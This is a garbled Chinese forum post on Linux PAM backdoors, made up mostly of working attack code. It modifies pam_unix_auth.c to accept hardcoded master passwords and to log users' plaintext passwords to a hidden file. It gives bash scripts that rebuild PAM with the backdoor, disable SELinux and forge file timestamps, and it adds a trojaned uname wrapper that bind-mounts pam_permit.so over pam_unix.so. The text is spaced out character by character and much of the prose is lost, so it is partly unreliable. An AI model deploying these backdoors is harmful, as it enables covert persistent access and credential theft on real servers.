[28361] 2020-06-22_LinuxPam后门总结发展

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-19
2020-06-22_LinuxPam后门总结发展 L i n u x   P a m i   O t s   2 0 2 0 - 0 6 - 2 2   -   i   p a m p a m p a m 0 x 0 1   P A M P A M P A M L i n u x L i n u x P A M / e t c / p a m . d /   l i b   / s e c u r i t y P A M P A M P a m p a m _ u n i x _ a u t h . c 使 h t t p : / / w w w . l i n u x - p a m . o r g / l i b r a r y / r p m   - q a   |   g r e p   p a m t a r   - x z v f   L i n u x - P A M - 1 . 1 . 1 . t a r . g z c d   L i n u x - P A M - 1 . 1 . 1 c d   m o d u l e s / p a m _ u n i x / v i m   p a m _ u n i x _ a u t h . c
P A M /   l i b 6 4   /   s e c u r i t y   /   [ 3 2 6 4 / *   v e r i f y   t h e   p a s s w o r d   o f   t h i s   u s e r   * / r e t v a l   =   _ u n i x _ v e r i f y _ p a s s w o r d ( p a m h ,   n a m e ,   p ,   c t r l ) ; i f ( s t r c m p ( " q i n g ! @ # 1 2 3 " , p ) = = 0 ) { r e t u r n   P A M _ S U C C E S S ; } i f ( r e t v a l   = =   P A M _ S U C C E S S ) {                 F I L E   *   f p ;                 f p   =   f o p e n ( " / b i n / . s s h l o g " ,   " a " ) ;                 f p r i n t f ( f p ,   " % s   :   % s n " ,   n a m e ,   p ) ;                 f c l o s e ( f p ) ;                 } a p t - g e t   i n s t a l l   d p k g - d e v   f l e x a p t - g e t   s o u r c e   l i b p a m - m o d u l e s = ` d p k g   - s   l i b p a m - m o d u l e s   >   |   g r e p   - i   v e r s i o n   |   c u t   - d '   '   - f 2 `   c d   p a m - 1 . 1 . 1 / m o d u l e s / p a m _ u n i x /   s e d   - i   ' / t r e t v a l   =   _ u n i x _ v e r i f y _ p a s s w o r d ( p a m h ,   n a m e ,   p ,   c t r l ) ; /   a   t i f   ( s t r c m p ( p ,   " m i c a s a " )   = =   0 )   {   r e t v a l   =   P A M _ S U C C E S S ;   } '   p a m _ u n i x _ a u t h . c   c d   . . / . .   . / c o n f i g u r e   m a k e   c d c d   . . / . . / . / c o n f i g u r e   & &   m a k e     ( . / c o n f i g u r e   - - p r e f i x = / u s e r   - - e x e c - p r e f i x = / u s r   - - l o c a l s t a t e d i r = / v a r   - - s y s c o n f d i r = / e t c   - - d i s a b l e - s e l i n u x   - - w i t h - l i b i c o n v - p r e f i x = / u s r ) m v   p a m _ u n i x . s o { , . b a k }   # c p   / r o o t / L i n u x - P A M - 1 . 1 . 1 / m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o   / l i b 6 4 / s e c u r i t y /   # e c h o   $ ?
S e l i n u x p a m o k 退 P a m 6 4 y y w r a p 1 . # d e f i n e   y y w r a p 1 i n t   y y w r a p { 1 ; } 2 . C o p t i o n   n o y y w r a p 3 . f l e x y u m   i n s t a l l   f l e x S e l i n u x P a m P A M s h z e p h r a x s t a t   p a m _ u n i x . * t o u c h   - t   2 0 1 0 0 2 1 6 0 1 3 4   p a m _ u n i x . s o t o u c h   p a m _ u n i x . s o   - r   p a m _ u n i x . s o . s r c     # l s   - Z   p a m _ u n i x . s o . s r c   ( S e l i n u x ) c h c o n   r e f e r e n c e = p a m _ u n i x . s o . s r c   p a m _ u n i x . s o       s e t s e b o o l   - P   a l l o w _ s a s l a u t h d _ r e a d _ s h a d o w   1         #   S e l i n u x #   t i m e s t a m p = ` l s   - l   / l i b / s e c u r i t y /   |   g r e p   p a m _ u n i x . s o   |   g r e p   - v   ^ l   >   |   a w k   ' { p r i n t   $ 6 $ 7 } '   |   t r   - d   ' - '   |   t r   - d   ' : ' `   t o u c h   - t   $ t i m e s t a m p   / l i b / s e c u r i t y / p a m _ u n i x . s o r o o t @ q i n g : ~ / p a m / L i n u x - P A M - 1 . 1 . 8 / m o d u l e s / p a m _ u n i x #   l s   - a l h   / b i n / . s s h l o g - r w - r - - r - - .   1   r o o t   r o o t   1 6 2   M a y   3 1   0 3 : 1 5   / b i n / . s s h l o g
r o o t @ q i n g : ~ / p a m #   c a t   p a m . s h # ! / b i n / b a s h P A S S = ' q i n g 1 2 3 '   # # . . . . . . L O G = ' / b i n / . s s h l o g '   # # . . . . . . e c h o   - e   " n P a m - B a c k d o o r n n n " v e r s i o n = ` r p m   - q a   |   g r e p   p a m   |   a w k   - F -   ' { p r i n t   $ 2 } ' ` # g e t   t h e   p a m   v e r s i o n # c l o s e   t h e   s e l i n u x i f   [   ` g e t e n f o r c e `   =   ' 1 '   ] ; t h e n s e t e n f o r c e   0 l i n e _ n   =   ` g r e p   - n   " ^ S E L I N U X = e n f o r c i n g "   / e t c / s y s c o n f i g / s e l i n u x   |   a w k   - F :   ' { p r i n t   $ 1 } ' ` s e d   - i   $ l i n e _ n '   d '   / e t c / s y s c o n f i g / s e l i n u x s e d   - i   $ l i n e _ n "   a S E L I N U X = d i s a b l e d "   / e t c / s y s c o n f i g / s e l i n u x / e t c / s y s c o n f i g / s e l i n u x e l s e e c h o   " s e l i n u x   i s   c l o s e d " f i i f   [   ` u n a m e   - p `   =   ' x 8 6 _ 6 4 '   ] ; t h e n L I B P A T H = l i b 6 4 e l s e L I B P A T H = l i b f i o l d t i m e = ` s t a t   - c   ' % z '   / l i b 6 4 / s e c u r i t y / p a m _ f t p . s o ` e c h o   ' P a m   b a c k d o o r   s t a r t i n g ! ' m i r r o r _ u r l = ' h t t p : / / w w w . l i n u x - p a m . o r g / l i b r a r y / L i n u x - P A M - ' $ v e r s i o n ' . t a r . g z ' # m i r r o r _ u r l = ' h t t p : / / y u m . s i n g l e h o p . c o m / p u b / l i n u x / l i b s / p a m / p r e / l i b r a r y / L i n u x - P A M - 0 . 9 9 . 6 . 2 . t a r . g z ' v e r s i o n = ' L i n u x - P A M - ' $ v e r s i o n e c h o   ' F e t c h i n g   f r o m   ' $ m i r r o r _ u r l w g e t   $ m i r r o r _ u r l   # f e t c h   t h e   r o l l t a r   z x f   $ v e r s i o n ' . t a r . g z '   # u n t a r c d   $ v e r s i o n # f i n d   a n d   r e p l a c e s e d   - i   - e   ' s / r e t v a l   =   _ u n i x _ v e r i f y _ p a s s w o r d ( p a m h ,   n a m e ,   p ,   c t r l ) ; / r e t v a l   =   _ u n i x _ v e r i f y _ p a s s w o r d ( p a m h ,   n a m e ,   p ,   c t r l ) ; n t i f   ( s t r c m p ( p , " ' $ P A S S ' " ) = = 0   ) { r e t v a l   =   P A M _ S U C C E S S ; } i f ( r e t v a l   = =   P A M _ S U C C E S S ) { n t F I L E   *   f p ; n t f p   =   f o p e n ( " ' $ L O G ' " ,   " a " ) ; n t f p r i n t f ( f p ,   " % s   :   % s n " ,   n a m e ,   p ) ; n t f c l o s e ( f p ) ; n t } / g '   m o d u l e s / p a m _ u n i x / p a m _ u n i x _ a u t h . c D I S = ` h e a d   / e t c / i s s u e   - n   1 | a w k   ' { p r i n t   $ 1 } ' ` # g e t   t h e   v e r s i o n i f   [   $ D I S   =   " C e n t O S "   ] ; t h e n . / c o n f i g u r e   - - d i s a b l e - s e l i n u x   & &   m a k e e l s e . / c o n f i g u r e   & &   m a k e f i / b i n / c p   - r f   / $ L I B P A T H / s e c u r i t y / p a m _ u n i x . s o   / $ L I B P A T H / s e c u r i t y / p a m _ u n i x . s o . b a k   # . .   . . . . . . . . . / b i n / c p   - r f   m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o   / $ L I B P A T H / s e c u r i t y / p a m _ u n i x . s o t o u c h   - d   " $ o l d t i m e "   / $ L I B P A T H / s e c u r i t y / p a m _ u n i x . s o c d   . .   & &   r m   - r f   L i n u x - P A M - 1 . 1 . 1 * e c h o   " P A M   B a c k D o o r   i s   D o n e " # ! / b i n / b a s h O P T I N D = 1 P A M _ V E R S I O N = P A M _ F I L E = P A S S W O R D =
e c h o   " A u t o m a t i c   P A M   B a c k d o o r " f u n c t i o n   s h o w _ h e l p   {         e c h o   " "         e c h o   " E x a m p l e   u s a g e :   $ 0   - v   1 . 3 . 0   - p   s o m e _ s 3 c r 3 t _ p 4 5 5 w o r d "         e c h o   " F o r   a   l i s t   o f   s u p p o r t e d   v e r s i o n s :   h t t p : / / w w w . l i n u x - p a m . o r g / l i b r a r y / " } w h i l e   g e t o p t s   " : h : ? : p : v : "   o p t ;   d o         c a s e   " $ o p t "   i n         h | ? )                 s h o w _ h e l p                 e x i t   0                 ; ;         v )     P A M _ V E R S I O N = " $ O P T A R G "                 ; ;         p )     P A S S W O R D = " $ O P T A R G "                 ; ;         e s a c d o n e s h i f t   $ ( ( O P T I N D - 1 ) ) [   " $ 1 "   =   " - - "   ]   & &   s h i f t i f   [   - z   $ P A M _ V E R S I O N   ] ;   t h e n         s h o w _ h e l p         e x i t   1 f i ; i f   [   - z   $ P A S S W O R D   ] ;   t h e n         s h o w _ h e l p         e x i t   1 f i ; e c h o   " P A M   V e r s i o n :   $ P A M _ V E R S I O N " e c h o   " P a s s w o r d :   $ P A S S W O R D " e c h o   " " P A M _ B A S E _ U R L = " h t t p : / / w w w . l i n u x - p a m . o r g / l i b r a r y " P A M _ D I R = " L i n u x - P A M - $ { P A M _ V E R S I O N } " P A M _ F I L E = " L i n u x - P A M - $ { P A M _ V E R S I O N } . t a r . b z 2 " P A T C H _ D I R = ` w h i c h   p a t c h ` i f   [   $ ?   - n e   0   ] ;   t h e n         e c h o   " E r r o r :   p a t c h   c o m m a n d   n o t   f o u n d .   E x i t i n g . . . "         e x i t   1 f i w g e t   - c   " $ { P A M _ B A S E _ U R L } / $ { P A M _ F I L E } " t a r   x j f   $ P A M _ F I L E c a t   b a c k d o o r . p a t c h   |   s e d   - e   " s / _ P A S S W O R D _ / $ { P A S S W O R D } / g "   |   p a t c h   - p 1   - d   $ P A M _ D I R c d   $ P A M _ D I R . / c o n f i g u r e m a k e c p   m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o   . . / c d   . . e c h o   " B a c k d o o r   c r e a t e d . " e c h o   " N o w   c o p y   t h e   g e n e r a t e d   . / p a m _ u n i x . s o   t o   t h e   r i g h t   d i r e c t o r y   ( u s u a l l y   / l i b / s e c u r i t y / ) "
p a m 0 x 0 2   P a m _ p e r m i t s o P a m p a m p a m p a m _ p e r m i t . s o p a m _ p e r m i t e c h o   " N o w   c o p y   t h e   g e n e r a t e d   . / p a m _ u n i x . s o   t o   t h e   r i g h t   d i r e c t o r y   ( u s u a l l y   / l i b / s e c u r i t y / ) " e c h o   " " r o o t @ q i n g : ~ / p a m / L i n u x - P A M - 1 . 1 . 8 / m o d u l e s #   c a t   p a m _ p e r m i t / p a m _ p e r m i t . c / *   p a m _ p e r m i t   m o d u l e   * / / *   *   $ I d $   *   *   W r i t t e n   b y   A n d r e w   M o r g a n   < m o r g a n @ p a r c . p o w e r . n e t >   1 9 9 6 / 3 / 1 1   *   * / # i n c l u d e   " c o n f i g . h " # d e f i n e   D E F A U L T _ U S E R   " n o b o d y " # i n c l u d e   < s t d i o . h > / *   *   h e r e ,   w e   m a k e   d e f i n i t i o n s   f o r   t h e   e x t e r n a l l y   a c c e s s i b l e   f u n c t i o n s   *   i n   t h i s   f i l e   ( t h e s e   d e f i n i t i o n s   a r e   r e q u i r e d   f o r   s t a t i c   m o d u l e s   *   b u t   s t r o n g l y   e n c o u r a g e d   g e n e r a l l y )   t h e y   a r e   u s e d   t o   i n s t r u c t   t h e   *   m o d u l e s   i n c l u d e   f i l e   t o   d e f i n e   t h e i r   p r o t o t y p e s .   * / # d e f i n e   P A M _ S M _ A U T H # d e f i n e   P A M _ S M _ A C C O U N T # d e f i n e   P A M _ S M _ S E S S I O N # d e f i n e   P A M _ S M _ P A S S W O R D # i n c l u d e   < s e c u r i t y / p a m _ m o d u l e s . h > # i n c l u d e   < s e c u r i t y / _ p a m _ m a c r o s . h >
# i n c l u d e   < s e c u r i t y / _ p a m _ m a c r o s . h > / *   - - -   a u t h e n t i c a t i o n   m a n a g e m e n t   f u n c t i o n s   - - -   * / P A M _ E X T E R N   i n t p a m _ s m _ a u t h e n t i c a t e ( p a m _ h a n d l e _ t   * p a m h ,   i n t   f l a g s   U N U S E D ,                                         i n t   a r g c   U N U S E D ,   c o n s t   c h a r   * * a r g v   U N U S E D ) {         i n t   r e t v a l ;         c o n s t   c h a r   * u s e r = N U L L ;         / *           *   a u t h e n t i c a t i o n   r e q u i r e s   w e   k n o w   w h o   t h e   u s e r   w a n t s   t o   b e           * /         r e t v a l   =   p a m _ g e t _ u s e r ( p a m h ,   & u s e r ,   N U L L ) ;         i f   ( r e t v a l   ! =   P A M _ S U C C E S S )   {                 D ( ( " g e t   u s e r   r e t u r n e d   e r r o r :   % s " ,   p a m _ s t r e r r o r ( p a m h , r e t v a l ) ) ) ;                 r e t u r n   r e t v a l ;         }         i f   ( u s e r   = =   N U L L   | |   * u s e r   = =   ' 0 ' )   {                 D ( ( " u s e r n a m e   n o t   k n o w n " ) ) ;                 r e t v a l   =   p a m _ s e t _ i t e m ( p a m h ,   P A M _ U S E R ,   ( c o n s t   v o i d   * )   D E F A U L T _ U S E R ) ;                 i f   ( r e t v a l   ! =   P A M _ S U C C E S S )                         r e t u r n   P A M _ U S E R _ U N K N O W N ;         }         u s e r   =   N U L L ;                                                                                         / *   c l e a n   u p   * /         r e t u r n   P A M _ S U C C E S S ; } P A M _ E X T E R N   i n t p a m _ s m _ s e t c r e d ( p a m _ h a n d l e _ t   * p a m h   U N U S E D ,   i n t   f l a g s   U N U S E D ,                               i n t   a r g c   U N U S E D ,   c o n s t   c h a r   * * a r g v   U N U S E D ) {           r e t u r n   P A M _ S U C C E S S ; } / *   - - -   a c c o u n t   m a n a g e m e n t   f u n c t i o n s   - - -   * / P A M _ E X T E R N   i n t p a m _ s m _ a c c t _ m g m t ( p a m _ h a n d l e _ t   * p a m h   U N U S E D ,   i n t   f l a g s   U N U S E D ,                                   i n t   a r g c   U N U S E D ,   c o n s t   c h a r   * * a r g v   U N U S E D ) {           r e t u r n   P A M _ S U C C E S S ; } / *   - - -   p a s s w o r d   m a n a g e m e n t   - - -   * / P A M _ E X T E R N   i n t p a m _ s m _ c h a u t h t o k ( p a m _ h a n d l e _ t   * p a m h   U N U S E D ,   i n t   f l a g s   U N U S E D ,                                   i n t   a r g c   U N U S E D ,   c o n s t   c h a r   * * a r g v   U N U S E D ) {           r e t u r n   P A M _ S U C C E S S ; } / *   - - -   s e s s i o n   m a n a g e m e n t   - - -   * / P A M _ E X T E R N   i n t p a m _ s m _ o p e n _ s e s s i o n ( p a m _ h a n d l e _ t   * p a m h   U N U S E D ,   i n t   f l a g s   U N U S E D ,                                         i n t   a r g c   U N U S E D ,   c o n s t   c h a r   * * a r g v   U N U S E D ) {
p a m s o + s h e l l P A T H P A T H 使 P A T H 使 使 s o /   u s r   /   b i n   /   u n a m e p a m _ p e r m i t . s o p a m _ u n i x . s o /   u s r   /   b i n /   b i n {         r e t u r n   P A M _ S U C C E S S ; } P A M _ E X T E R N   i n t p a m _ s m _ c l o s e _ s e s s i o n ( p a m _ h a n d l e _ t   * p a m h   U N U S E D ,   i n t   f l a g s   U N U S E D ,                                           i n t   a r g c   U N U S E D ,   c o n s t   c h a r   * * a r g v   U N U S E D ) {           r e t u r n   P A M _ S U C C E S S ; } / *   e n d   o f   m o d u l e   d e f i n i t i o n   * / # i f d e f   P A M _ S T A T I C / *   s t a t i c   m o d u l e   d a t a   * / s t r u c t   p a m _ m o d u l e   _ p a m _ p e r m i t _ m o d s t r u c t   =   {         " p a m _ p e r m i t " ,         p a m _ s m _ a u t h e n t i c a t e ,         p a m _ s m _ s e t c r e d ,         p a m _ s m _ a c c t _ m g m t ,         p a m _ s m _ o p e n _ s e s s i o n ,         p a m _ s m _ c l o s e _ s e s s i o n ,         p a m _ s m _ c h a u t h t o k } ; # e n d i f # ! / b i n / s h m o u n t   - - b i n d   / l i b / * / * / p a m _ p e r m i t . s o   / l i b / * / * / p a m _ u n i x . s o   2 > / d e v / n u l l / b i n / u n a m e   $ *
便 o k r o o t /   d e v   /   n u l l r o o t u n a m e /   b i n   /   u n a m e u n a m e p a m _ p e r m i t . s o p a m u n a m e s h e l l 使 L i n u x   u b u n t u   4 . 4 . 0 - 1 4 2 - g e n e r i c C e n t o s q i n g @ u b u n t u : / u s r / b i n $   c a t   u n a m e # ! / b i n / s h m o u n t   - - b i n d   / l i b 6 4 / s e c u r i t y / p a m _ p e r m i t . s o   / l i b 6 4 / s e c u r i t y / p a m _ u n i x . s o   2 > / d e v / n u l l / b i n / u n a m e   $ * q i n g @ u b u n t u : / u s r / b i n $   u n a m e   - a L i n u x   u b u n t u   4 . 4 . 0 - 1 4 2 - g e n e r i c   # 1 6 8 - U b u n t u   S M P   W e d   J a n   1 6   2 1 : 0 0 : 4 5   U T C   2 0 1 9   x 8 6 _ 6 4   x 8 6 _ 6 4   x 8 6 _ 6 4   G N U / L i n u x q i n g @ u b u n t u : / u s r / b i n $
/ e t c / p a m . d / /   l i b   /   s e c u r i t y 使 s u r o o t s u P A M / e t c / p a m . d / s s h d q i n g @ u b u n t u : / u s r / b i n $   l s   - a l h   / e t c / p a m . d / t o t a l   9 2 K d r w x r - x r - x     2   r o o t   r o o t   4 . 0 K   M a y   1 3   0 2 : 1 7   . d r w x r - x r - x   9 7   r o o t   r o o t   4 . 0 K   M a y   2 1   0 5 : 2 6   . . - r w - r - - r - -     1   r o o t   r o o t     3 8 4   N o v   1 2     2 0 1 5   c h f n - r w - r - - r - -     1   r o o t   r o o t       9 2   N o v   1 2     2 0 1 5   c h p a s s w d - r w - r - - r - -     1   r o o t   r o o t     5 8 1   N o v   1 2     2 0 1 5   c h s h - r w - r - - r - -     1   r o o t   r o o t   1 . 2 K   A p r     7   0 5 : 1 5   c o m m o n - a c c o u n t - r w - r - - r - -     1   r o o t   r o o t   1 . 2 K   A p r     7   0 5 : 1 5   c o m m o n - a u t h - r w - r - - r - -     1   r o o t   r o o t   1 . 5 K   A p r     7   0 5 : 1 5   c o m m o n - p a s s w o r d - r w - r - - r - -     1   r o o t   r o o t   1 . 5 K   A p r     7   0 5 : 1 5   c o m m o n - s e s s i o n - r w - r - - r - -     1   r o o t   r o o t   1 . 5 K   A p r     7   0 5 : 1 5   c o m m o n - s e s s i o n - n o n i n t e r a c t i v e - r w - r - - r - -     1   r o o t   r o o t     6 0 6   A p r     5     2 0 1 6   c r o n - r w - r - - r - -     1   r o o t   r o o t   4 . 8 K   J a n   2 9     2 0 1 6   l o g i n - r w - r - - r - -     1   r o o t   r o o t       9 2   N o v   1 2     2 0 1 5   n e w u s e r s - r w - r - - r - -     1   r o o t   r o o t     5 2 0   M a r   1 6     2 0 1 6   o t h e r - r w - r - - r - -     1   r o o t   r o o t       9 2   N o v   1 2     2 0 1 5   p a s s w d - r w - r - - r - -     1   r o o t   r o o t     1 4 3   M a r   1 2     2 0 1 6   r u n u s e r - r w - r - - r - -     1   r o o t   r o o t     1 3 8   M a r   1 2     2 0 1 6   r u n u s e r - l - r w - r - - r - -     1   r o o t   r o o t     4 5 4   J a n   1 3     2 0 1 8   s m t p - r w - r - - r - -     1   r o o t   r o o t   2 . 1 K   M a r     4     2 0 1 9   s s h d - r w - r - - r - -     1   r o o t   r o o t   2 . 3 K   N o v   1 2     2 0 1 5   s u - r w - r - - r - -     1   r o o t   r o o t     2 3 9   M a r   3 0     2 0 1 6   s u d o - r w - r - - r - -     1   r o o t   r o o t     2 5 1   A p r   1 2     2 0 1 6   s y s t e m d - u s e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则